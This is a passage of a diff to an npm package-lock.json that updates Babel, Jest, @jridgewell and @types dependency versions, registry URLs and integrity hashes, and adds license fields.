+      "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helpers": {
-      "version": "7.22.6",
-      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.22.6.tgz",
-      "integrity": "sha512-YjDs6y/fVOYFV8hAf1rxd1QvR9wJe1pDBZ2AREKq/SDayfPzgk0PBnVuTCE5X1acEpMMNOVUqoe+OwiZGJ+OaA==",
+      "version": "7.27.6",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.27.6.tgz",
+      "integrity": "sha512-muE8Tt8M22638HU31A3CgfSUciwz1fhATfoVai05aPXGor//CdWDCbnlY1yvBPo07njuVOCNGCSp/GTt12lIug==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/template": "^7.22.5",
-        "@babel/traverse": "^7.22.6",
-        "@babel/types": "^7.22.5"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/highlight": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.5.tgz",
-      "integrity": "sha512-BSKlD1hgnedS5XRnGOljZawtag7H1yPfQp0tdNJCHoH6AZ+Pcm9VvkrK59/Yy593Ypg0zMxH2BxD1VPYUQ7UIw==",
-      "dev": true,
-      "dependencies": {
-        "@babel/helper-validator-identifier": "^7.22.5",
-        "chalk": "^2.0.0",
-        "js-tokens": "^4.0.0"
+        "@babel/template": "^7.27.2",
+        "@babel/types": "^7.27.6"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/parser": {
-      "version": "7.22.7",
-      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.22.7.tgz",
-      "integrity": "sha512-7NF8pOkHP5o2vpmGgNGcfAeCvOYhGLyA3Z4eBQkT1RJlWu47n63bCs93QfJ2hIAFCil7L5P2IWhs1oToVgrL0Q==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.0.tgz",
+      "integrity": "sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==",
       "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/types": "^7.28.0"
+      },
       "bin": {
         "parser": "bin/babel-parser.js"
       },
@@ -344,6 +301,7 @@
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
       "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.8.0"
       },
@@ -352,49 +310,48 @@
       }
     },
     "node_modules/@babel/template": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.5.tgz",
-      "integrity": "sha512-X7yV7eiwAxdj9k94NEylvbVHLiVG1nvzCV2EAowhxLTwODV1jl9UzZ48leOC0sH7OnuHrIkllaBgneUykIcZaw==",
+      "version": "7.27.2",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz",
+      "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.22.5",
-        "@babel/parser": "^7.22.5",
-        "@babel/types": "^7.22.5"
+        "@babel/code-frame": "^7.27.1",
+        "@babel/parser": "^7.27.2",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/traverse": {
-      "version": "7.22.8",
-      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.22.8.tgz",
-      "integrity": "sha512-y6LPR+wpM2I3qJrsheCTwhIinzkETbplIgPBbwvqPKc+uljeA5gP+3nP8irdYt1mjQaDnlIcG+dw8OjAco4GXw==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.0.tgz",
+      "integrity": "sha512-mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.22.5",
-        "@babel/generator": "^7.22.7",
-        "@babel/helper-environment-visitor": "^7.22.5",
-        "@babel/helper-function-name": "^7.22.5",
-        "@babel/helper-hoist-variables": "^7.22.5",
-        "@babel/helper-split-export-declaration": "^7.22.6",
-        "@babel/parser": "^7.22.7",
-        "@babel/types": "^7.22.5",
-        "debug": "^4.1.0",
-        "globals": "^11.1.0"
+        "@babel/code-frame": "^7.27.1",
+        "@babel/generator": "^7.28.0",
+        "@babel/helper-globals": "^7.28.0",
+        "@babel/parser": "^7.28.0",
+        "@babel/template": "^7.27.2",
+        "@babel/types": "^7.28.0",
+        "debug": "^4.3.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/types": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.22.5.tgz",
-      "integrity": "sha512-zo3MIHGOkPOfoRXitsgHLjEXmlDaD/5KU1Uzuc9GNiZPhSqVxVRtxuPaSBZDsYZ9qV88AjtMtWW7ww98loJ9KA==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.0.tgz",
+      "integrity": "sha512-jYnje+JyZG5YThjHiF28oT4SIZLnYOcSBb6+SDaFIyzDVSkXQmQQYclJ2R+YxcdmK0AX6x1E5OQNtuh3jHDrUg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-string-parser": "^7.22.5",
-        "@babel/helper-validator-identifier": "^7.22.5",
-        "to-fast-properties": "^2.0.0"
+        "@babel/helper-string-parser": "^7.27.1",
+        "@babel/helper-validator-identifier": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -405,6 +362,7 @@
       "resolved": "https://registry.npmjs.org/@cnakazawa/watch/-/watch-1.0.4.tgz",
       "integrity": "sha512-v9kIhKwjeZThiWrLmj0y17CWoyddASLj9O2yvbZkbvw/N3rWOYy9zkV66ursAoVr0mV15bL8g0c4QZUE6cdDoQ==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "exec-sh": "^0.3.2",
         "minimist": "^1.2.0"
@@ -421,6 +379,7 @@
       "resolved": "https://registry.npmjs.org/@jest/console/-/console-24.9.0.tgz",
       "integrity": "sha512-Zuj6b8TnKXi3q4ymac8EQfc3ea/uhLeCGThFqXeC8H9/raaH8ARPUTdId+XyGd03Z4In0/VjD2OYFcBF09fNLQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/source-map": "^24.9.0",
         "chalk": "^2.0.1",
@@ -435,6 +394,7 @@
       "resolved": "https://registry.npmjs.org/@jest/core/-/core-24.9.0.tgz",
       "integrity": "sha512-Fogg3s4wlAr1VX7q+rhV9RVnUv5tD7VuWfYy1+whMiWUrvl7U3QJSJyWcDio9Lq2prqYsZaeTv2Rz24pWGkJ2A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/console": "^24.7.1",
         "@jest/reporters": "^24.9.0",
@@ -474,6 +434,7 @@
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
       "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^4.1.0"
       },
@@ -486,6 +447,7 @@
       "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-24.9.0.tgz",
       "integrity": "sha512-5A1QluTPhvdIPFYnO3sZC3smkNeXPVELz7ikPbhUj0bQjB07EoE9qtLrem14ZUYWdVayYbsjVwIiL4WBIMV4aQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/fake-timers": "^24.9.0",
         "@jest/transform": "^24.9.0",
@@ -501,6 +463,7 @@
       "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-24.9.0.tgz",
       "integrity": "sha512-eWQcNa2YSwzXWIMC5KufBh3oWRIijrQFROsIqt6v/NS9Io/gknw1jsAC9c+ih/RQX4A3O7SeWAhQeN0goKhT9A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^24.9.0",
         "jest-message-util": "^24.9.0",
@@ -515,6 +478,7 @@
       "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-24.9.0.tgz",
       "integrity": "sha512-mu4X0yjaHrffOsWmVLzitKmmmWSQ3GGuefgNscUSWNiUNcEOSEQk9k3pERKEQVBb0Cnn88+UESIsZEMH3o88Gw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/environment": "^24.9.0",
         "@jest/test-result": "^24.9.0",
@@ -547,6 +511,7 @@
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -556,6 +521,7 @@
       "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-24.9.0.tgz",
       "integrity": "sha512-/Xw7xGlsZb4MJzNDgB7PW5crou5JqWiBQaz6xyPd3ArOg2nfn/PunV8+olXbbEZzNl591o5rWKE9BRDaFAuIBg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "callsites": "^3.0.0",
         "graceful-fs": "^4.1.15",
@@ -570,6 +536,7 @@
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -579,6 +546,7 @@
       "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-24.9.0.tgz",
       "integrity": "sha512-XEFrHbBonBJ8dGp2JmF8kP/nQI/ImPpygKHwQ/SY+es59Z3L5PI4Qb9TQQMAEeYsThG1xF0k6tmG0tIKATNiiA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/console": "^24.9.0",
         "@jest/types": "^24.9.0",
@@ -593,6 +561,7 @@
       "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-24.9.0.tgz",
       "integrity": "sha512-6qqsU4o0kW1dvA95qfNog8v8gkRN9ph6Lz7r96IvZpHdNipP2cBcb07J1Z45mz/VIS01OHJ3pY8T5fUY38tg4A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/test-result": "^24.9.0",
         "jest-haste-map": "^24.9.0",
@@ -608,6 +577,7 @@
       "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-24.9.0.tgz",
       "integrity": "sha512-TcQUmyNRxV94S0QpMOnZl0++6RMiqpbH/ZMccFB/amku6Uwvyb1cjYX7xkp5nGNkbX4QPH/FcB6q1HBTHynLmQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.1.0",
         "@jest/types": "^24.9.0",
@@ -634,13 +604,15 @@
       "version": "1.9.0",
       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
       "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@jest/transform/node_modules/source-map": {
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -650,6 +622,7 @@
       "resolved": "https://registry.npmjs.org/@jest/types/-/types-24.9.0.tgz",
       "integrity": "sha512-XKK7ze1apu5JWQ5eZjHITP66AX+QsLlbaJRBGYr8pNzwcAE2JVkwnf0yqjHTsDRcjR0mujy/NmZMXw5kl+kGBw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/istanbul-lib-coverage": "^2.0.0",
         "@types/istanbul-reports": "^1.1.1",
@@ -660,64 +633,50 @@
       }
     },
     "node_modules/@jridgewell/gen-mapping": {
-      "version": "0.3.3",
-      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz",
-      "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==",
+      "version": "0.3.12",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz",
+      "integrity": "sha512-OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@jridgewell/set-array": "^1.0.1",
-        "@jridgewell/sourcemap-codec": "^1.4.10",
-        "@jridgewell/trace-mapping": "^0.3.9"
-      },
-      "engines": {
-        "node": ">=6.0.0"
+        "@jridgewell/sourcemap-codec": "^1.5.0",
+        "@jridgewell/trace-mapping": "^0.3.24"
       }
     },
     "node_modules/@jridgewell/resolve-uri": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz",
-      "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==",
-      "dev": true,
-      "engines": {
-        "node": ">=6.0.0"
-      }
-    },
-    "node_modules/@jridgewell/set-array": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz",
-      "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==",
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
+      "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.0.0"
       }
     },
     "node_modules/@jridgewell/sourcemap-codec": {
-      "version": "1.4.15",
-      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz",
-      "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==",
-      "dev": true
+      "version": "1.5.4",
+      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz",
+      "integrity": "sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@jridgewell/trace-mapping": {
-      "version": "0.3.18",
-      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.18.tgz",
-      "integrity": "sha512-w+niJYzMHdd7USdiH2U6869nqhD2nbfZXND5Yp93qIbEmnDNk7PD48o+YchRVpzMU7M6jVCbenTR7PA1FLQ9pA==",
+      "version": "0.3.29",
+      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz",
+      "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@jridgewell/resolve-uri": "3.1.0",
-        "@jridgewell/sourcemap-codec": "1.4.14"
+        "@jridgewell/resolve-uri": "^3.1.0",
+        "@jridgewell/sourcemap-codec": "^1.4.14"
       }
     },
-    "node_modules/@jridgewell/trace-mapping/node_modules/@jridgewell/sourcemap-codec": {
-      "version": "1.4.14",
-      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz",
-      "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==",
-      "dev": true
-    },
     "node_modules/@types/babel__core": {
-      "version": "7.20.1",
-      "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.1.tgz",
-      "integrity": "sha512-aACu/U/omhdk15O4Nfb+fHgH/z3QsfQzpnvRZhYhThms83ZnAOZz7zZAWO7mn2yyNQaA4xTO8GLK3uqFU4bYYw==",
+      "version": "7.20.5",
+      "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
+      "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/parser": "^7.20.7",
         "@babel/types": "^7.20.7",
@@ -727,29 +686,32 @@
       }
     },
     "node_modules/@types/babel__generator": {
-      "version": "7.6.4",
-      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.4.tgz",
-      "integrity": "sha512-tFkciB9j2K755yrTALxD44McOrk+gfpIpvC3sxHjRawj6PfnQxrse4Clq5y/Rq+G3mrBurMax/lG8Qn2t9mSsg==",
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
+      "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/types": "^7.0.0"
       }
     },
     "node_modules/@types/babel__template": {
-      "version": "7.4.1",
-      "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.1.tgz",
-      "integrity": "sha512-azBFKemX6kMg5Io+/rdGT0dkGreboUVR0Cdm3fz9QJWpaQGJRQXl7C+6hOTCZcMll7KFyEQpgbYI2lHdsS4U7g==",
+      "version": "7.4.4",
+      "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
+      "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/parser": "^7.1.0",
         "@babel/types": "^7.0.0"
       }
     },
     "node_modules/@types/babel__traverse": {
-      "version": "7.20.1",
-      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.1.tgz",
-      "integrity": "sha512-MitHFXnhtgwsGZWtT68URpOvLN4EREih1u3QtQiN4VdAxWKRVvGCSvw/Qth0M0Qq3pJpnGOu5JaM/ydK7OGbqg==",
+      "version": "7.20.7",
+      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.7.tgz",
+      "integrity": "sha512-dkO5fhS7+/oos4ciWxyEyjWe48zmG6wbCheo/G2ZnHx4fs3EU6YC6UM8rk56gAjNJ9P3MTH2jo5jb92/K6wbng==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/types": "^7.20.7"
       }
@@ -757,19 +719,22 @@
     "node_modules/@types/clone": {
       "version": "0.1.30",
       "resolved": "https://registry.npmjs.org/@types/clone/-/clone-0.1.30.tgz",
-      "integrity": "sha512-vcxBr+ybljeSiasmdke1cQ9ICxoEwaBgM1OQ/P5h4MPj/kRyLcDl5L8PrftlbyV1kBbJIs3M3x1A1+rcWd4mEA=="
+      "integrity": "sha512-vcxBr+ybljeSiasmdke1cQ9ICxoEwaBgM1OQ/P5h4MPj/kRyLcDl5L8PrftlbyV1kBbJIs3M3x1A1+rcWd4mEA==",
+      "license": "MIT"
     },
     "node_modules/@types/istanbul-lib-coverage": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz",
-      "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==",
-      "dev": true
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz",
+      "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@types/istanbul-lib-report": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
-      "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==",
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz",
+      "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/istanbul-lib-coverage": "*"
       }
@@ -779,6 +744,7 @@
       "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-1.1.2.tgz",
       "integrity": "sha512-P/W9yOX/3oPZSpaYOCQzGqgCQRXn0FFO/V8bWrCQs+wLmvVVxk6CRBXALEvNs9OHIatlnlFokfhuDo2ug01ciw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/istanbul-lib-coverage": "*",
         "@types/istanbul-lib-report": "*"
@@ -789,6 +755,7 @@
       "resolved": "https://registry.npmjs.org/@types/jest/-/jest-24.9.1.tgz",
       "integrity": "sha512-Fb38HkXSVA4L8fGKEZ6le5bB8r6MRWlOCZbVuWZcmOMSCd2wCYOwN1ibj8daIoV9naq7aaOZjrLCoCMptKU/4Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "jest-diff": "^24.3.0"
       }
@@ -796,51 +763,60 @@
     "node_modules/@types/json5": {
       "version": "0.0.30",
       "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.30.tgz",
-      "integrity": "sha512-sqm9g7mHlPY/43fcSNrCYfOeX9zkTTK+euO5E6+CVijSMm5tTjkVdwdqRkY3ljjIAf8679vps5jKUoJBCLsMDA=="
+      "integrity": "sha512-sqm9g7mHlPY/43fcSNrCYfOeX9zkTTK+euO5E6+CVijSMm5tTjkVdwdqRkY3ljjIAf8679vps5jKUoJBCLsMDA==",
+      "license": "MIT"
     },
     "node_modules/@types/lodash": {
-      "version": "4.14.196",
-      "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.196.tgz",
-      "integrity": "sha512-22y3o88f4a94mKljsZcanlNWPzO0uBsBdzLAngf2tp533LzZcQzb6+eZPJ+vCTt+bqF2XnvT9gejTLsAcJAJyQ=="
+      "version": "4.17.20",
+      "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.20.tgz",
+      "integrity": "sha512-H3MHACvFUEiujabxhaI/ImO6gUrd8oOurg7LQtS7mbwIXA/cUqWrvBsaeJ23aZEPk1TAYkurjfMbSELfoCXlGA==",
+      "license": "MIT"
     },
     "node_modules/@types/node": {
       "version": "11.15.54",
       "resolved": "https://registry.npmjs.org/@types/node/-/node-11.15.54.tgz",
       "integrity": "sha512-1RWYiq+5UfozGsU6MwJyFX6BtktcT10XRjvcAQmskCtMcW3tPske88lM/nHv7BQG1w9KBXI1zPGuu5PnNCX14g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@types/stack-utils": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-1.0.1.tgz",
       "integrity": "sha512-l42BggppR6zLmpfU6fq9HEa2oGPEI8yrSPL3GITjfRInppYFahObbIQOQK3UGxEnyQpltZLaPe75046NOZQikw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@types/yargs": {
       "version": "13.0.12",
       "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-13.0.12.tgz",
       "integrity": "sha512-qCxJE1qgz2y0hA4pIxjBR+PelCH0U5CK1XJXFwCNqfmliatKp47UCXXE9Dyk1OXBDLvsCF57TqQEJaeLfDYEOQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/yargs-parser": "*"
       }
     },
     "node_modules/@types/yargs-parser": {
-      "version": "21.0.0",
-      "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz",
-      "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==",
-      "dev": true
+      "version": "21.0.3",
+      "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz",
+      "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/abab": {
       "version": "2.0.6",
       "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz",
       "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==",
-      "dev": true
+      "deprecated": "Use your platform's native atob() and btoa() methods instead",
+      "dev": true,
+      "license": "BSD-3-Clause"
     },
     "node_modules/accessory": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/accessory/-/accessory-1.1.0.tgz",
       "integrity": "sha512-DlgiZ+jTuCIZLURquQhOfclRvPu6gQKgOzr9wAiZtjWYjd1lMK8Hr6XXEDWuEAxpTWEccgn6YVREJ6C7fhvrww==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ap": "~0.2.0",
         "balanced-match": "~0.2.0",
@@ -852,6 +828,7 @@
       "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.2.tgz",
       "integrity": "sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "acorn": "bin/acorn"
       },
@@ -864,6 +841,7 @@
       "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-4.3.4.tgz",
       "integrity": "sha512-clfQEh21R+D0leSbUdWf3OcfqyaCSAQ8Ryq00bofSekfr9W8u1jyYZo6ir0xu9Gtcf7BjcHJpnbZH7JOCpP60A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "acorn": "^6.0.1",
         "acorn-walk": "^6.0.1"
@@ -874,6 +852,7 @@
       "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-6.2.0.tgz",
       "integrity": "sha512-7evsyfH1cLOCdAzZAd43Cic04yKydNx0cF+7tiA19p1XnLLPU4dpCQOqpjqwokFe//vS0QqfqqjCS2JkiIs0cA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.0"
       }
@@ -883,6 +862,7 @@
       "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
       "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
       "dev": true,
+      "license": "MIT",
       "peerDependencies": {
         "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
       }
@@ -892,6 +872,7 @@
